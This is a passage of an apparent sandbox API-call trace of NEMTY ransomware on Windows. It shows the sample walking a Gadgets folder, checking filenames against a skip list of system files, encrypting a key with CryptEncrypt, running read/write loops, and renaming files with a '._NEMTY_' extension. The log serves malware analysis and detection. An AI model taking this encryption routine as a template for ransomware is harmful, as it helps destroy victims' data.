lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.258] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.267] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.267] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.277] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.277] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.283] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.283] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0140.290] CloseHandle (hObject=0xffffffff) returned 0 [0140.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340358 [0140.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0140.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0140.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0140.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0140.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0140.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340420 [0140.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0140.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340420 | out: hHeap=0x4f90000) returned 1 [0140.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0140.290] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider.png._nemty_kgobjgd_")) returned 0 [0140.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0140.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340358 | out: hHeap=0x4f90000) returned 1 [0140.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0140.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e8 | out: hHeap=0x4f90000) returned 1 [0140.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0140.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0140.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0140.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0140.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0140.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.290] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84caf5e5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84caf5e5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b87038f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_divider_left.png", cAlternateFileName="")) returned 1 [0140.290] lstrcmpiW (lpString1="settings_divider_left.png", lpString2=".") returned 1 [0140.290] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="..") returned 1 [0140.290] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="...") returned 1 [0140.290] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="windows") returned -1 [0140.290] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="$RECYCLE.BIN") returned 1 [0140.290] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="rsa") returned 1 [0140.290] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="NTDETECT.COM") returned 1 [0140.291] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="ntldr") returned 1 [0140.291] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="MSDOS.SYS") returned 1 [0140.291] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="IO.SYS") returned 1 [0140.291] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="boot.ini") returned 1 [0140.291] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="boot.ini") returned 1 [0140.291] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="AUTOEXEC.BAT") returned 1 [0140.291] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="ntuser.dat") returned 1 [0140.291] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="desktop.ini") returned 1 [0140.291] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="CONFIG.SYS") returned 1 [0140.291] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="RECYCLER") returned 1 [0140.291] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="BOOTSECT.BAK") returned 1 [0140.291] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="bootmgr") returned 1 [0140.291] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="programdata") returned 1 [0140.291] lstrcmpiW (lpString1="settings_divider_left.png", lpString2="appdata") returned 1 [0140.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_left.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0140.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_left.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider_left.png", lpUsedDefaultChar=0x0) returned 25 [0140.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0140.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_left.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0140.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_left.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider_left.png", lpUsedDefaultChar=0x0) returned 25 [0140.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0140.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_left.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0140.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_left.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider_left.png", lpUsedDefaultChar=0x0) returned 25 [0140.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_left.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0140.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0140.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_left.png", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider_left.png", lpUsedDefaultChar=0x0) returned 25 [0140.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0140.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0140.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0140.292] Sleep (dwMilliseconds=0x5) [0140.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x7465370, dwHighDateTime=0x1d561e8)) [0140.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x7465370, dwHighDateTime=0x1d561e8)) [0140.304] GetLastError () returned 0x5 [0140.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.304] GetLastError () returned 0x5 [0140.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0140.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0140.304] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0140.304] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0140.305] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0140.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0140.305] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="ARtLtALZJKjwq+VjuPN8hDGk2e7nNlEttLqxM/NhIw4c8+Ka2+QOtfsZaOvvJCQJ\r\nqs/NyfXTGhvJbW9etFoZLUvJglZ10VrVLp3eIBtjl4MiuJKHLIRdjqMtu5e6hWcJ\r\nm8iysWQaUHceU+yEg7PIU3Usc5zP417dXktlrh7r9lzAM/gyYzPy+SYfgkpV0pHn\r\n4As9CZf4tWpN0mDe4zEMm4HPUp8Rj+HlUgwtKIF/n5kHh3md02jWeriTTcihjPtB\r\nJtTBhFRG68svDmV4P7X1IOmVERwRsMcG/2oBZcDTamlhNhiYjLyAn0+/WofpKx1p\r\nck7K890vx/ib5MqjRdJQXg==\r\n", pcchString=0x653e91c) returned 1 [0140.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0140.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0140.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0140.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0140.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0140.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0140.305] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0140.305] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0140.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0140.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.305] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.314] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.324] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.324] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.333] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.333] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.342] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.342] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.352] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.352] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.361] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.361] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.380] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.380] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.397] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.397] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.407] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.407] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.413] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.413] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, 